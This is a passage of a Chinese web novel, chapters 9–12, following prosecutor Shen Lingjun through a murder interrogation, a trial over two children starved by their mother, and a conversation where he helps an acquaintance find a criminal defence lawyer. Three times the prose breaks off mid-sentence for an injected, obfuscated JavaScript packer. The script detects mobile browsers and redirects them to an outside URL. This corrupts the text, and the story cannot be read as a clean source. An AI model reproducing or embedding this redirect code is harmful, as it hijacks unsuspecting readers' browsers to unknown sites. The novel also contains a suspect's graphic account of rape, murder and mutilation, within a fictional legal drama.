徐莲说完这句话便不再看他,转头离开了,她是个很矮小、瘦弱的老太太,身形很快就隐没在人民医院来来往往的人潮中,看不到一点痕迹。 9.第 9 章 星期二早上,沈灵均问余绵绵:“绵绵,吕贵宝的卷你阅了没?” 余绵绵连忙把嘴里的面包咽下去:“阅了。要去提讯吗?” “嗯,换个衣服,我们去看守所。” 容州市第一看守所位于郊区,离市检差不多一个小时的车程,羁押的全都是可能被判处重刑的犯罪嫌疑人。在前台核对完证件后,穿过一条窄而长的走廊,便是看守所的讯问室。不知道是有意还是无意,看守所的审讯室全部位于背阴一侧,即使是在盛夏时节,房间里也有种阴冷感。在如今这样的秋日,弥散着的冷意更是不断地往骨缝里钻。 架设好摄像头、将打印机和电脑相连,做完这些准备工作后,民警将吕贵宝带到了提讯室。 吕贵宝其貌不扬,甚至有些丑陋。他面色黑黄,两道稀疏的、倒八字的眉毛下是一双三角眼,眼距拉得很开,塌鼻梁厚嘴唇,长了一张看上去不怎么聪明的脸。联想到他的所作所为,余绵绵内心对他更是鄙夷。 等民警退出讯问室后,沈灵均拿出自己的检察证向吕贵宝示意:“吕贵宝,我们是容州市检察院的工作人员,我是检察官沈灵均,我身旁的这位是检察官助理余绵绵。你因涉嫌故意杀人罪被我院立案侦查,今天我们依法对你进行讯问,你应当……” 沈灵均话还没有说完,吕贵宝就打断道:“我知道了。” 沈灵均冷冷地看了他一眼:“我话还没有说完。” 吕贵宝脸上露出一个带着些讥嘲意味的笑:“你们说的话翻来覆去就是那么一套,我都听腻了。” 沈灵均没理他,自顾自地把话说完了:“……如实供述,你是否清楚?” “……清楚了。” “根据法律规定,对犯罪嫌疑人的讯问应当进行同步录音录像,今天的讯问过程我们将全程同步录音录像,你是否清楚?” “清楚。” 沈灵均又按照流程,告知吕贵宝他的相关权利,吕贵宝脸上的表情也越来越不耐烦。 “你的姓名?” 吕贵宝撇撇嘴:“不是,你们把我抓来好几个月了,还能不知道我叫啥啊?问这些有啥意义?” 沈灵均双手交握,再一次重复道:“姓名?如果你不想无意义地一直在这里坐着,就配合一些,回答我的问题。” 吕贵宝又笑了一下:“行,”他提高了一点声音:“我叫吕贵宝!” 余绵绵微微低下头,在电脑屏幕的遮挡下翻了个白眼。 “1960年12月11日生人,对吗?” “对!” “2023年8月15日,案发当天发生了什么,你说一下。” 吕贵宝活动了一下肩膀,斜靠在椅子上:“这些事我都对警察说了很多次了,你肯定能看到我的口供的吧?” 余绵绵干了三年的检察助理,头一回见到态度这么嚣张、这么不配合的犯罪嫌疑人,有些嫌恶地撇了撇嘴。她去瞄身边的沈灵均,发现他依旧是八风不动、面无表情的样子,脸上看不见一点焦躁和不满。 沈灵均道:“我们检察机关依法行使检察权,会对你实施的犯罪进行审查复核,这也是对公安机关的侦查活动的监督,是对你权利的保障。我再说一次,如果你不想无意义地在这个房间,”沈灵均指了指吕贵宝所坐的拘束椅:“在这张椅子上耗费很多时间,就配合我,如实回答我的问题。” 吕贵宝用手挠了挠头,语气有些不耐:“就是,就是那天下午,吕念芳来找我要钱嘛,我没钱,她说我欠的这个钱已经拖了好几年没还了,我被她念叨得烦了,我就把她杀了。” “‘被她念叨得烦了’所以把人杀了,那你在杀人之前为什么还要强肩被害人?” “就是突然想的。没什么理由。我就想,我都要杀她了,那为啥不干她一下。不干白不干。” 余绵绵不动声色地深吸了一口气,不自觉地加大了敲键盘的力道。 “你欠吕念芳多少钱?” “三千。” “你当时为什么向吕念芳借钱?” “给我妈办丧事。” “你给你妈办丧事的时候都朝谁借了钱?” “就吕念芳。” “是你只问吕念芳借了钱还是最后借给你钱的人只有吕念芳?” 吕贵宝在椅子上动来动去,用手搓着脸:“……只有吕念芳借给我钱。” “说一下你杀害吕念芳的过程。” “我先是打了她几巴掌,把她打到地上,她想跑,我就往她脑袋上踹了几脚,然后我就把她的裤子脱了下来,强肩她嘛。她还一直喊,我没办法嘛,我就把枕头按在她头上,然后没多久她就不动弹了。” “在你之前对警方做的口供中,在你行凶的过程中,被害人在向你求饶,并表示钱可以不要了,这是她‘喊’的内容,是吗?” “对,”说到这,吕贵宝向着沈灵均的方向摊摊手,笑了笑:“我知道,你肯定觉得我该死嘛,我也觉得你们判我死刑没问题啊。其实你们就判我死刑就行了,不用搞这些虚的,我知道杀人偿命啊,我可以把命抵给她。” 沈灵均语气没什么起伏地说:“吕贵宝,你会不会被判死刑和你个人的意志无关,和我觉得你该不该死也无关。这是法院会考虑的事,你也不用这个态度,好像你觉得你可以把命抵给被害人这件事是一件多么勇敢、多么无畏、多么大方的事。” 沈灵均继续问道:“你杀死被害人之后,为什么要把被害人的眼球挖出来?” “我忘了听谁说的了,说人死之前眼睛里会留下她最后看到的样子,我就……我就挖了她的眼睛。” “这么说,你是因为担心被害人的眼睛里留下你的影像,所以才把被害人的眼球挖出来的。” “……对。” “那你之后为什么又把被害人的眼球丢弃到猪食槽?” “为了不让别人发现呗。” “把被害人的遗体遗弃到山上,也是出于不想让别人发现遗体的心理,是吗?” “对。” “来到这里也两个月了,你心里对杀害被害人这件事,有后悔过吗?” 吕贵宝脸上挂着明显的敷衍:“后悔,我后悔啊,我当时太冲动了。” 恶心死了。余绵绵在心里道。 “你有能够赔偿给被害人家属的财产吗?” “哪有啊,我要是有钱,能还不上吕念芳钱吗?但我有几亩地,他们愿意种就种去,还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“吕先生,我是沈灵均,市检察院的,之前我们通过电话。今天我去见过吕贵宝了,谈到对你们这边赔偿的问题,他说他只有几亩地和家里的房子能赔偿给你们……但是土地所有权是属于集体的,宅基地也同理,所以他这边,可以说是没有财产可以赔偿给你们。这种情况下,就算你们申请了刑事附带民事诉讼,判决下来之后也没办法执行。” 吕彦在电话那头嗯了一声,声音很平静:“嗯,我知道他家里的情况,他穷得很,没钱。我们也不图赔偿,”说到这,吕彦的情绪突然变得激动起来,“我们一家现在就是想他死!他必须死!我们就这一个诉求,沈检察官,我们家这一个诉求。” 挂断电话后,沈灵均看着桌子上的案卷,久久没有说话。像吕念芳家属的这种情况,在他经手过的案子中并不算少见。 从参加工作开始,沈灵均就一直在第二检察部工作,负责办理各类重大刑事案件。因此,他接触过很多暴力犯。而这些暴力犯之中,很大一部分人都没有受到过良好的教育,文化程度低,家庭经济情况和个人经济情况都较差。在这种情境下,被害人及其家属几乎不可能得到充分赔偿。 沈灵均吐出一口长气:明明是见惯了的事,怎么今天就这么烦躁呢? 下班后,沈灵均在地下停车场取车时遇到了李凌云。打过招呼后,李凌云先取了车离开了。沈灵均坐在车里,看着他的车影,心里忽然蹦出来一个念头: 要不然我也转行好了。 10.第 10 章 今天的晚高峰异常的堵,沈灵均七点才到FL综合格斗馆。 沈灵均大学时就养成了去健身房的习惯,因此身材一直不错,常年保持着六块腹肌。但一直以来,他在健身房也就是举举铁、做些有氧,从来没想过去练拳击、搏击什么。直到三年前,他在家门口差点让人捅死。这件事让他深刻意识到了强健体魄和防身能力的重要性,迫切地想学习点防身的手段。经瞿春光介绍,沈灵均来到了FL综合格斗馆,在这一练就是三年。 沈灵均的教练是FL的老板,名叫方岭,FL正是他姓名的缩写。方岭是瞿春光的高中同学,高中毕业之后当了兵,做了五年武警,随后转业成了一名消防员。当了几年消防员之后,方岭辞了职,考了一堆教练证书,开了FL。因为曾经做过武警,方岭受过专业的格斗训练,也有过真实的对敌经验,比之普通的格斗术教练,方岭动作丝毫不花哨,精简实用,瞿春光也是因此才介绍他做沈灵均的教练。 换好衣服,缠好护手带,沈灵均来到了训练室。训练室里除了方岭,还有几个教练正在教客人。沈灵均是FL的常客,认识店里所有的教练,立刻发现这几位教练中有一位他从来没见过的新人,于是他问方岭道:“那个穿黄黑相间短裤的教练,是新来的吗?” 方岭点点头:“对,新来的,今天第一天让他带客人。” “方哥,你们这的教练什么待遇啊?” “底薪三千,然后根据他带团课、带私教的数量算提成……你怎么突然问这个?” 沈灵均笑了笑:“想拓展一下我的职业发展可能性,你觉得我来你这当教练够不够格?” 方岭只当他是开玩笑:“够格啊,那肯定够格,我们训练馆还从来没有燕大毕业的教练呢。” 训练结束后,沈灵均和方岭都大汗淋漓。去淋浴间冲澡的路上,沈灵均再一次问方岭道:“方哥,说真的,我来你们这做教练,你觉得我专业水平过关吗?” 方岭有些诧异地看了他一眼:“你什么意思?你认真的?从检察官转行到格斗教练?” “怎么?不行吗?” “当然不是不行。你水平挺高的,MMA、泰拳、巴西柔术你都能教,你只要去考一下证书,随便去哪个格斗馆应聘都没问题。但问题是,你真要做格斗教练啊?跨度有点大吧。而且你这学历,来干这个,屈才了。” “倒也不是非要做这个,就是突发奇想,如果我不做检察官的话可以做些什么……觉得自己可以做这一行。说起学历……现在工作有多不好找,你又不是不知道。燕大毕业的找不到工作的也大有人在,我这个年龄,放在就业市场上,已经是马上要被裁的水平啦。” 方岭打开了淋浴喷头,声音在水声下显得有些不真切:“三年多前你差点让人弄死,当时不都没想过转行吗?怎么现在突然想这个?” 沈灵均沉默了一会,笑道:“不知道。所以说是突发奇想嘛,说不定明天我又觉得还是铁饭碗好了。” 周三上午,沈灵均跟副主任曾爽请了假,直接去了市法院。沈灵均很熟悉市法院审判楼的结构,也很熟悉B207这个法庭——这是市法院最大的法庭,审判席很大,能坐得下七人合议庭。沈灵均办过很多需要适用七人合议庭的案子,所以他曾在这个法庭里出庭很多次。但今天,是他第一次坐在这个法庭的旁听席上。一进B207的门,沈灵均就看到了坐在前排的王雪,王雪身旁还坐着那个他去林兴社区时在前台接待了他的年轻女社工。 沈灵均坐到了王雪旁边:“王书记。好久不见。” 王雪瘦了不少,面容十分憔悴,说话都透着些有气无力:“啊……沈检,您也来了。” “对,王书记您最近身体怎么样?您脸色不太好。” 王雪苦笑着点点头:“最近睡得不太好。” “是……因为两个孩子的事吗?公安机关没给您安排心理疏导吗?” “安排了,”王雪吸了吸鼻子,“是我……是我自己心里过不去那个坎。” 沈灵均知道,王雪心地善良,工作也认真负责,正因如此,她才会因为两个孩子的死而倍感自责。沈灵均也不知该如何开解她:“您有吃药吗?一直这么睡不好也不是个办法。” “我去看过医生的,医生给开了药,这段时间一直都在吃……但我还是总梦到两个孩子,”王雪说到这,啜泣起来:“我一个月才去陆晓莉那看一次。我要是半个月……不对,一周,或者隔两三天就去一次,两个孩子应该就能活了。” 沈灵均还没来得及说话,王雪身旁的年轻社工就开口道:“话不能这么说啊书记,您是整个社区的书记,总不能只管陆晓莉一个人吧?咱们社区面积不小,孤寡老人、特困户这种需要重点关注的人也多,哪能天天围着她陆晓莉一个人转呢?您别自责了。” 沈灵均附和道:“是啊王书记,这位妹妹说得对,这件事不能怪您。” 王雪没回他们的话,只是一边摇头一边掉眼泪。 时间越来越临近九点,旁听席上的人也越来越多——这个案子的社会影响不小,刚被爆出来的时候还上过一天的微博热搜。母亲饿死两个亲生女儿这种事,放到哪个时代都相当骇人听闻。沈灵均又在旁听席上看到了两张熟悉的面孔:隶属于他们检察院“迎春花”未检团队的未检检察官楚馨月和他们检察院的司法社工林茹。 八点四十五,陆晓莉的律师到庭,八点五十,李凌云和他的检察官助理王骄阳也到庭了,八点五十五,法官和人民陪审员在审判席上落座。九点,庭审正式开始,法警将陆晓莉带到了法庭。 沈灵均上次见陆晓莉是近九个月前的事,陆晓莉的面容比之那是发生了很大的变化。或许是因为待在看守所里远离独品的缘故,她胖了不少,身形匀称了些,不再是那副瘦竹竿的样子,脸色也红润了许多。沈灵均上次见她时,她一头金色的长发,断发碎发枯草一样的支棱着,现在她的头发已经变回了黑色,不知道是后来她自己染的还是在看守所剪掉了金色的部分,发质看上去也变好了。 核对身份后,审判长便让李凌云宣读起诉书。从李凌云开始宣读的那一刻起,本已经止住泪水的王雪再一次无声的哭泣起来。 之后便是漫长的法庭调查和法庭辩论。在法庭调查环节,检察机关出示了很多证据,沈灵均也头一次听说了与案件有关的许多细节。 在检察机关出示的现场照片中,陆晓莉家的卫生情况比他去陆晓莉家那天的卫生情况还要差,垃圾堆了满地,因为案发时容州已快入夏,室内气温高,为各种飞虫提供了繁殖环境,屋里漫天虫蝇,墙壁的照片能吓死三个密集恐惧症。检察机关并没有当庭出示展 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14412561|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现尸体情况的图片证据,但鉴定人员出具的鉴定书中称,尸体被发现时“已近风干”“上面满是蝇蛆和蛹壳”。 在陆晓莉最后一次离家至两个孩子尸体被发现的三十三天里,陆晓莉辗转于多家夜场,同多个异性发生了性关系,多次吸食独品,还曾跟她的“毒友”一起去湿地公园露营、去综合商场中玩乐,她还去做过一次头发,而那家理发店是她常去的理发店,距离她的家只有不到六百米。 陆晓莉在法庭调查中承认,她从街道办领到的救助金多被她用于购买毒品和个人挥霍。社区前前后后送给她十二罐八百克装的儿童奶粉,其中十一罐她连包装都没有拆便挂在二手交易软件中售卖,换来的近一千七百元钱同样被她用来购买独品和个人挥霍。但她坚称她装上卧室隔音帘的目的并不是为了杀害两个孩子做准备,而是因为左邻右舍曾经数次反应过她家孩子的哭声很吵,无奈之下她才选择在窗上粘贴隔音帘。 从陆晓莉的辩护律师口中,沈灵均得知,在陆晓莉三岁时,她父亲工作的工厂发生了爆炸事故,她的父亲在事故中身亡,两年后,她的母亲因为癌症离世。父母双亡的陆晓莉由外婆抚养,因为穷困,陆晓莉九岁才上小学,在她十二岁小学三年级时,她的外婆去世,她从此辍学,开始如无根浮萍一般四处飘零。 沈灵均参加过很多漫长的庭审,其中开庭时间最长的一场持续长达十二天,开庭第一天庭审时间就长达十一个小时。然而就沈灵均的体感而言,陆晓莉这个案件的庭审比他亲历过最漫长的庭审还要长,让他异常煎熬,他的胃里像是沉了几块尖锐的大石头,让他的身体由内而外地泛起剧烈的恶心感和刺痛感。 中午十二点半,审判长宣读判决,判处被告人陆晓莉死刑立即执行,并剥夺政治权利终身。陆晓莉当庭表示上诉。 庭审结束后,沈灵均本来想送王雪以及那位年轻女社工回家,但当他快把邀请说出口的时候,沈灵均如梦方醒——因为法院门口不好停车,他今天又不是以检察官的身份到访,没法把车停到内部停车场,他压根就没开车来。 三人于是在法院门口道了别。 从市法到市检,坐地铁很方便。沈灵均慢悠悠地往地铁口走。 走着走着,他突然想:他其实都知道的。他其实有预感的。 在他第一眼看到陆晓莉、看到陆晓莉家的时候,他就知道,陆晓莉并不是个能照顾好婴儿的母亲。他办过很多独品相关的案子,他深刻地知道独品可以将一个人异化成什么样子。他心里清楚,已经深陷独品漩涡的陆晓莉很难尽到做母亲的责任,他预感到了她的失职,于是才找上社区,希望他们能够帮助她、督促她履行抚养义务,为两个孩子的成长保驾护航。 然而,他明明都知道,他明明有预感,却只是高高在上地给出了一点点帮助。他的能力,难道只够到联系社工、联系未检团队为止吗?他应该联系当地民政局,建议它们向法院申请撤销陆晓莉监护人资格的,他为什么没那么做?他应该去和妇联沟通陆晓莉的情况的,他为什么没去?他应该多去陆晓莉家几次的,他为什么没去? 为什么?为什么?为什么?为什么他明明能做到那么多的事,但他却一件也没有做? 或许只要他做了他能力范围的一件事,那两个孩子就不会孤零零的、痛苦的、绝望的死去了。 11.第 11 章 沈灵均在地铁口坐扶梯的时候,忽然听到啪的一声,他低头一看,发现有个手机掉到了他所站着的这级扶梯上。沈灵均弯下腰想去捡,一个人就急匆匆地从他身侧挤过,差点踩到他的手。 沈灵均把手机捡了起来回过头,站在他身后的女孩微微侧过身,指了指身后的人:“他的手机。” 她身后的人是戚玉衡。 沈灵均有些意外地把手机递了过去:“是你……你手机的屏幕好像摔碎了。是被刚才从左边过去的那个人撞掉的吗?” 戚玉衡接过手机,朝他露出一个感谢的笑:“谢谢。对,没事的,我的手机屏本来就是碎的。” 说话间,扶梯已经落到了地面。沈灵均等了戚玉衡一下:“好巧啊,又见面了。” 戚玉衡点点头:“是啊,没想到能在这里碰到您。” 他们所在的这个地铁站是个换乘站,可以搭乘七号线和九号线,沈灵均问:“你坐哪号线。” “我坐九号线,我到仙桥大道那站。” “诶,那我们同路,我也是到那站,”说到这,沈灵均笑了笑:“对了,我有在你的店里买点心,我觉得很好吃。” “是、是吗?”戚玉衡似乎有些拘谨,不断用左手搓着拿着手机的右手手背:“你最喜欢哪个品啊?” 沈灵均想了想:“我最喜欢司康,司康之中最喜欢抹茶、巧克力、咖啡,这三个口味。我喜欢甜中带点苦的味道,你们店里的抹茶没有和红豆搭配,咖啡没有和椰浆搭配,我很喜欢,我虽然很喜欢抹茶和咖啡,但是对它们的老搭子都没什么好感。” “这样啊……您能喜欢我们店的产品真的太好了。”戚玉衡看了沈灵均一眼,又飞快地收回了眼神。 作为一个国际化大都市,容州的地铁几乎是从第一班挤到最后一班,中午这个时间虽然不像早晚高峰那样挤得那么夸张,但是也是座无虚席,站着的人比坐着的人多。沈灵均和戚玉衡都选择握住地铁门附近的扶手杆站着。 如果是跟别的不太熟的人相处,即使两个人都沉默不语,沈灵均应该也不会感觉如何尴尬。但是……沈灵均余光瞄向身旁的戚玉衡:他微微抿着唇,眼睛快速地眨着,表情看上去有些紧张不安。 他为什么会紧张不安?因为我吗?沈灵均想。 是他说错话了,还是他哪里做的不对了?还是戚玉衡是个社恐?但是之前他们两次交流,戚玉衡都表现得蛮正常的啊。 因为地铁上人不少,沈灵均和戚玉衡站得很近,几乎是肩并着肩。沈灵均注意到,戚玉衡左耳上带着一枚蓝牙耳机,但他记得,之前他走在戚玉衡右手边的时候,没看到戚玉衡右耳戴着耳机。他只戴一边的耳机吗?为了既能听音乐又能听到外界的声音? 或许是因为感觉到了他的视线,戚玉衡下意识地抬起手碰了一下自己的耳垂。 糟糕,他这样盯着他的耳朵看,是不是让他觉得冒犯了?沈灵均刚想说点什么,就听戚玉衡道:“这个,不是耳机。我没有戴着耳机跟您说话,这个是我的助听器。” 沈灵均愣住了:“助听器?你左耳是有听力损伤吗?” 戚玉衡点点头:“对,我左耳是中度耳聋。” “那我看你右耳没有带,是……” “我右耳是先天聋,完全没有听力,所以戴助听器也没有用。” 沈灵均一时之间不知道说什么了,戚玉衡也垂着眼睛没再说话,沈灵均感觉气氛又变得尴尬起来。他连忙道:“你好厉害。我完全没发现你耳朵有问题,你说话发音很标准,和我们这些听人完全没有任何区别。” “因为我左耳是长大后才聋的,所以语言功能没有受影响,我很幸运,天生双侧耳聋的人因为听不见,所以学说话很困难,发音才会不标准。” 听到他说“我很幸运”的时候,沈灵均心中突地一酸。 沈灵均于是又说了一遍:“你真的很厉害。” 各方面的厉害。乐观坚强,唱歌还很好听——谁能想到Resonate的驻唱是个单侧耳聋的人呢? “那你戴着这个助听器的话,听力能恢复到什么程度?可以恢复到健康的听力吗?” “可以的,因为我左耳本来就是中度耳聋,还有不少残余听力,戴上助听器之后基本上和健听人的听力一致。” “那就好,那就好。我才知道现在助听器已经可以做到这么小了,看着和蓝牙耳机差不多,”感觉到戚玉衡身上一直萦绕着的紧张感淡去不少,沈灵均继续搭话道:“你在仙桥大道下车是要去哪?” “仙桥大道附近有个致和律师事务所,我想去那咨询一下。” 这个律所沈灵均知道。他们市检附近有很多高层写字楼,有不少知名律所雄踞其中,致和律师事务所更是知名律所中的佼佼者。它是一所专门从事刑事辩护的事务所,在刑事辩护领域颇有名气。 去致和咨询的话,那就只能是咨询刑事案件了。沈灵均于是没有再往下问:涉及到刑事案件,这话题便有些敏感了。 或许是为了礼尚往来,戚玉衡道:“您去仙桥大道是去?” “我回我单位,我在市检察院上班,”沈灵均看向戚玉衡:“我是不是还没有自我介绍过?我叫沈灵均,沈就是三点水的沈,灵魂的灵,平均的均,是市检察院的检察官,”沈灵均笑了一下:“那个,能不能不要称呼我为‘您’啊,不要对我用敬称了,听着怪怪的。” 戚玉衡连忙道歉道:“不好意思……我叫戚玉衡,戚继光的戚,玉石的玉,平衡的衡。” “这有什么好道歉的,”这会时间已经临近一点,沈灵均于是问:“你吃午饭了吗?我一会下车要先去吃午饭,我知道一家卖米粉的小馆子,实惠又好吃,离致和也不远。你如果没吃午饭的话,要不要和我一块吃?” 戚玉衡点点头:“好。” 小馆子确实是“小”馆子,店面很小,细长的一条,满打满算一共才六张桌子。店里人很多,但幸运的是,外卖骑手和打包带走的客人居多,沈灵均和戚玉衡找到了位置坐。点好餐后,两个人度过了相对无言的十几秒。沈灵均这会已经看出来,戚玉衡其实是个比较内向的人,于是主动挑起话题:“我把从你们店里买的点心分给了我的同事吃,她们的评价都很高。你这个店开了几年了?” “有五年了。” “那开了蛮久的了,你是自己一个人创业还是和别人合伙啊?” “和别人合伙,容州店面的租金太贵了,一个人承担很困难。您……你呢?你做检察官几年了?” “从今年八月份开始是第九年。” 戚玉衡有些意外地看着他:“那你现在有……三十多岁了吗?” 沈灵均点点头:“我半个月前过了我三十三岁生日,现在已经算是三十四岁的人了。” “完全看不出来……” “是吗,”沈灵均摸了摸自己的下巴:“可能是护肤品的功劳吧。我妈是卖护肤品的,我两岁的时候她就给我涂她卖的宝宝霜,之后也一直让我涂各种护肤品,它们的功效随着我年龄的增长从补水保湿变动到祛皱抗衰,如果你在我脸上没看到岁月的痕迹,那大概率是因为它们被金钱的痕迹覆盖了。” 戚玉衡忍不住笑了:“那它们真的作用很大,我完全看不出你的真实年纪。我第一次见到n……你的时候,还以为我接到哪个明星了。” “真的啊?我的天,那我妈这个钱还真没白花,值了。这话告诉她她得乐开花。你呢?你不会是零零后吧?” 戚玉衡飞快地摇了摇头:“怎么可能?我连九五后都不是,我九三的。” “就比我小三岁啊,你还说我呢,你看着也很显小的。我以为你至少得比我小个六七岁。” 说话间,两个人点的炒米粉也上来了。吃饭的时候,两个人没说太多话。但沈灵均注意到,戚玉衡吃得越来越慢,没拿筷子的左手放在桌上,手指不断地轻轻摩挲着桌子。 这是……又紧张了? 沈灵均人不知有些自我怀疑:他是一个相处起来会让人这么紧张的人吗? 这时,戚玉衡忽然放下筷子:“沈先生,因为你是检察官,对这方面肯定很了解……我想请问一下,刑辩业务的话,容州有哪些律所做的比较好啊?” 沈灵均忙咽下嘴里的食物,说:“刑辩业务的话,你准备去的致和在这方面就挺有名的,他们所只做刑辩。除它以外,华成、汇诚、成坤、华天锦合……” 说到这,沈灵均拿出手机:“我们加个微信吧,有的律所名字很相近,我边说边打字发给你。” “好好,”戚玉衡找出二维 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14412562|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 码名片,将手机递到沈灵均面前:“谢谢n……你啊,沈先生。” 戚玉衡的微信名就是他的真名,头像是一只奔跑的线条小狗。沈灵均摆摆手:“不用谢,多大点事……汉乾、云翰、君达、海和……都是刑辩业务做得很不错的律所,”沈灵均犹豫了一下,随后道:“如果你不介意的话,可以跟我说一下案情,我本身是负责刑事案件的检察官,可以帮你分析一下。” 戚玉衡紧紧地攥着他的手机:“那、那真是太麻烦你了。” “没关系,不用这么客气。” 听完戚玉衡描述的案情后,沈灵均道:“如果按照公安的说法,你这个哥哥属于诈骗数额特别巨大的情形,而且大概率是主犯,至少是十年以上的有期徒刑。” 戚玉衡脸上的表情有些苦涩:“是,我也上网查了很多资料,有了一定的心理预期。” 沈灵均点点头:“但具体的量刑情况,肯定是多方综合考虑的,比如对被害人的退赃情况,你这个哥哥是否认罪认罚……诈骗罪在判决时适用罚金刑的情况很多,如果你这个哥哥的诈骗金额属实,他们一家很可能要面临十万元以上的罚金。” “这么多啊……” “以我的经验来看是这样的,”沈灵均观察着戚玉衡的表情:“你这个邻居哥哥,家庭情况不太好吗?” “……对。” “那在请律师方面,他父母大概有多少预算?” 戚玉衡垂下眼睛,沉默了两秒后,道:“如果能请到一个靠谱、优秀的律师,钱的问题不重要。” “我明白你的意思。但是在刑事案件中……应该说在所有案件中,律师更多的起到的是保驾护航的作用,而不是扭转乾坤的作用,在公权力机关没有在处理案件上出现明显问题的情况下,没必要花巨额律师费去赌一个不确定的案件结果。贵的并不一定是好的。所以你在找律师的时候不要轻易相信给你画大饼的律师。” “你现在首要任务是委托律师去会见嘛,因为律师在不同阶段的收费都是不同的,虽然说让一个律师打包整个流程的价格相对而言是比较划算的,但是当你委托一个律师打包全流程之后就是开弓没有回头箭了,再违约受到的损失就比较大。所以在还没有听到你哥哥的说法之前,你可以不用急着请全包律师。可以先委托一个律师去会见,随后根据你哥哥对案情的陈述以及律师的表现再考虑要不要委托他代理下一步的流程。” 沈灵均想了想,又道:“说起来,我有个师妹,她之前在致和执业过四年,负责过很多侵犯财产类犯罪的辩护,她今年刚刚出来独立执业,”沈灵均打开了自己的公文包:“她之前给过我几张名片。” 沈灵均翻出一张邹雅雯的名片交给戚玉衡:“因为她是独立律师,挂靠的律所抽成也不多,她现在又处于独立执业刚刚起步的阶段,所以虽然具体的收费标准我不了解,但她的收费一定是比致和、华成、汉乾这种大律所便宜不少的。因为她是我直系师妹,所以我对她这个人比较了解,我对她的人品很信任,你在选律师的时候,可以把她作为你律师的备选项。” 戚玉衡双手接过那张名片,神情有些激动:“谢谢n……你,真的太谢谢你了沈先生。” 沈灵均摆摆手:“这有什么好谢的,你没看出来我这是在给我师妹拓展案源呢吗?你要是真委托她了,我师妹还得来谢我呢。瞧我,多会做人,做了个中间商,你们还都得感谢我。” “这是什么话,”戚玉衡很是感激地看着他,脸上甚至浮出了两团激动的红晕:“沈先生真是帮了我大忙。” 戚玉衡肤色偏白,嘴唇颜色也很淡,因此脸色正常的时候总给人一种不太健康、没气色的感觉。这会脸上的红晕给他的面容多添了两分血色,让他整个人看上去多了些活力,更显出外貌上的出众来。 长得真漂亮。沈灵均不由得在心里赞美道。 “如果你真的感谢我的话,”沈灵均看着戚玉衡,道:“那就换个称呼吧。我总觉得沈先生这个称呼太客套、太官方了些,听着不习惯。你可以叫我沈检、老沈,因为我比你大几岁,如果你不介意的话也可以叫我沈哥,朋友里也有人叫我沈总沈老师沈老板的……或者其他的你叫着方便的称呼,都可以。” 戚玉衡点点头:“好。那……谢谢你,沈检。” 12.第 12 章 当天晚上,沈灵均接到了邹雅雯的微信。 【邹着瞧:师兄,你给我介绍案子了呀[坏笑][坏笑]】 看这样子,戚玉衡已经联络过邹雅雯了。 【Shen:对,助力邹律事业腾飞[坏笑][坏笑]】 【Shen:他电话联络你的还是去你所找你的?】 【邹着瞧:下午四点多来我所里找我的】 下午四点多就到了,那戚玉衡应该是在去过致和之后立刻就往邹雅雯那边去了。 【Shen:他都委托你代理哪个环节啊?】 【邹着瞧:目前就委托我去会见了,但我肯定能凭借我高超的职业素养狠狠征服他】 【邹着瞧:他长得好漂亮啊,特别美女】 沈灵均已经适应了邹雅雯时不时会管男人叫美女的习惯: 【Shen:我这个师兄做得怎么样?不光让你挣钱,还让你舒舒服服、心旷神怡的挣钱[机智]】 邹雅雯发过来一个哆啦A梦蹦跳的表情包: 【邹着瞧:好好好,好啊!你真是我亲师兄!!![玫瑰][爱心]】 【Shen:这个案子,如果你打包到一审结束,多少钱?】 【邹着瞧:八万吧。但这是师兄你拉来的案子,这美女哥长得又这么好看,我肯定包便宜的[机智][机智]】 【Shen:[旺柴][旺柴]那我过两天请你吃饭】 【邹着瞧:请我吃饭干啥】 【邹着瞧:你给我拉来案子,委托人还是美女哥,我还想请你吃饭呢】 邹雅雯发来一个小狗叼玫瑰的表情。 【Shen:独立执业这段时间,感觉怎么样?和原来在致和的时候比呢?】 【邹着瞧:那肯定是有好有不好。好在于不用坐班,没有那种强烈的被压榨的感觉了,也不用处理弯弯绕绕的人际关系,不用和傻逼同事和傻逼领导打交道,时间也自由了,想上班上班想下班下班,心情舒畅了不少,一点也不焦虑了,感觉乳腺结节都不再长大了】 【邹着瞧:不好就在于挣得少了。致和虽然忙得要死,规矩也多,但给得还是挺多的,这在现在的律所里已经算是很不错的了,多劳就能多得。虽然我现在有在和几个熟悉的律师合作啦,但我现在手里案源还不是很多,收入还是打一个折扣】 【邹着瞧:所以师兄你这也算是给我雪中送炭了[玫瑰]】 在他们检法系统内,检察官和法官转行去做律师不是什么稀奇事。毕竟做过检察官和法官的人,不仅具备不错的法律专业素养,而且熟悉司法系统的运行流程,对检察官和法官的心理把控得也更为准确,转行后一般都能得到比普通律师更好的待遇。甚至有很多检察官和法官在入行时就已经做好了转行做律师的职业规划——毕竟相较而言,律师在薪资待遇上的发展空间更大。 